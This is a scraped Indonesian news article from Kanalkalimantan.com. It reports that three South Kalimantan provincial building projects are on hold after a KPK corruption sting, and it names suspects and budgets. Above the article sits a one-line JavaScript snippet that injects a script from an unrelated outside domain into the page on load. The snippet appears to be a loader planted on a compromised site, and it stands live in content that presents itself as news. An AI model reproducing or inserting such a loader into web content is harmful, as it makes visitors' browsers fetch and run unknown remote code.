(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK) di Kalimantan Selatan (Kalsel) yang melibatkan sejumlah pejabat Pemprov Kalsel dan pihak swasta.
Tiga proyek yang terkait dengan OTT KPK salah satunya pembangunan Gedung Samsat Terpadu di Jalan Ahmad Yani Km 17, Kecamatan Gambut, Kabupaten Banjar.
Anggaran yang digelontorkan Pemprov Kalsel untuk pembangunan sebesar Rp22.268.020.250, dikerjakan oleh PT Haryadi Indo Tama (HIU).
Baca juga: Jalan Rusak di Sungai Lulut Bikin Celaka, Warga Minta Perbaikan
Dua proyek lain yaitu pembangunan lapangan sepak bola yang berada di Kawasan Olahraga Terintegrasi Provinsi Kalsel sebesar Rp23.248.949.136 dengan penyedia PT Wismani Kharya Mandiri (WKM).
Dan pembangunan kolam renang di Kawasan Olahraga Terintegrasi Provinsi Kalsel dengan biaya Rp9.178.205.930 dengan penyedia terpilih CV Bangun Banua Bersama (CBB).
Bagaimana nasib ketiga proyek tersebut pasca OTT?
Sekretaris Daerah (Sekda) Provinsi Kalsel Roy Rizali mengatakan bahwa proyek-proyek yang terkait dengan OTT saat ini dihentikan sementara pengerjaannya sembari menunggu petunjuk dari KPK.
“Kalau (proyek) yang terkait OTT semestinya mungkin setop dulu ya, yang pasti kita tunggu arahan (KPK) dulu,” ujar Roy, Rabu (16/10/2024).
Kemudian proyek Pemprov Kalsel diluar OTT yang tidak bermasalah masih berjalan dan tetap mengacu sebagaimana ketentuan dalam kontrak.
Masih lanjut Roy, Pemprov Kalsel sudah mengirim surat ke KPK terkait langkah-langkah yang harus dilakukan setelah terjadi OTT.
Baca juga: Tiga Terdakwa Kasus Korupsi Proyek Jamban Sehat HSU Disidang
“Khususnya beberapa kegiatan yang harus dikonsultasikan Dinas PUPR Kalsel,” kata Roy.
Selain terkait OTT, sejumlah proyek lain di Dinas PUPR Kalsel turut dikonsultasikan.
Hingga saat ini, pihaknya masih menunggu balasan resmi dari lembaga anti rasuah tersebut.
“Kita konsultasikan biar tidak salah melangkah kedepan,” pungkas Roy.
Baca juga: KPK Serahkan Barang Milik Negara ke Pemkab HSU Senilai Rp16,2 Miliar
Sebagaimana diketahui, KPK melakukan OTT terhadap sejumlah pejabat Dinas PUPR Kalsel karena diduga terlibat dalam kasus suap dan gratifikasi proyek pengadaan barang dan jasa (BPJ).
Gubernur Kalsel Sahbirin Noor alias Paman Birin dalam kasus ini turut ditetapkan KPK sebagai tersangka.
Baca juga: Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi
Bersama Kepala Dinas PUPR Kalsel Ahmad Solhan, Kabid Cipta Karya PUPR Kalsel sekaligus PPK Yulianti Erlynah.
Kemudian Agustya Febry Andrean selaku Plt Kepala Bagian Rumah Tangga Gubernur Kalsel, dan Ahmad pengepul uang fee.
Baca juga: APILL Tugu Adipura Banjarbaru Siap Beroperasi Akhir November
Dalam kasus ini, KPK juga menetapkan dua tersangka dari pihak swasta yaitu Sugeng Wahyudi dan Andi Susanto.
Dalam operasi senyap itu, KPK juga turut mengamankan barang bukti uang tunai senilai Rp12,2 miliar dan USD500.
Kecuali Paman Birin, enam tersangka sejak Senin (7/10/2024) telah dilakukan penahanan di Rutan KPK untuk kepentingan penyidikan.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ruas Jalan Martapura Lama di Kelurahan Sungai Lulut, Kecamatan Banjarmasin Timur, Kota… Read More
This website uses cookies.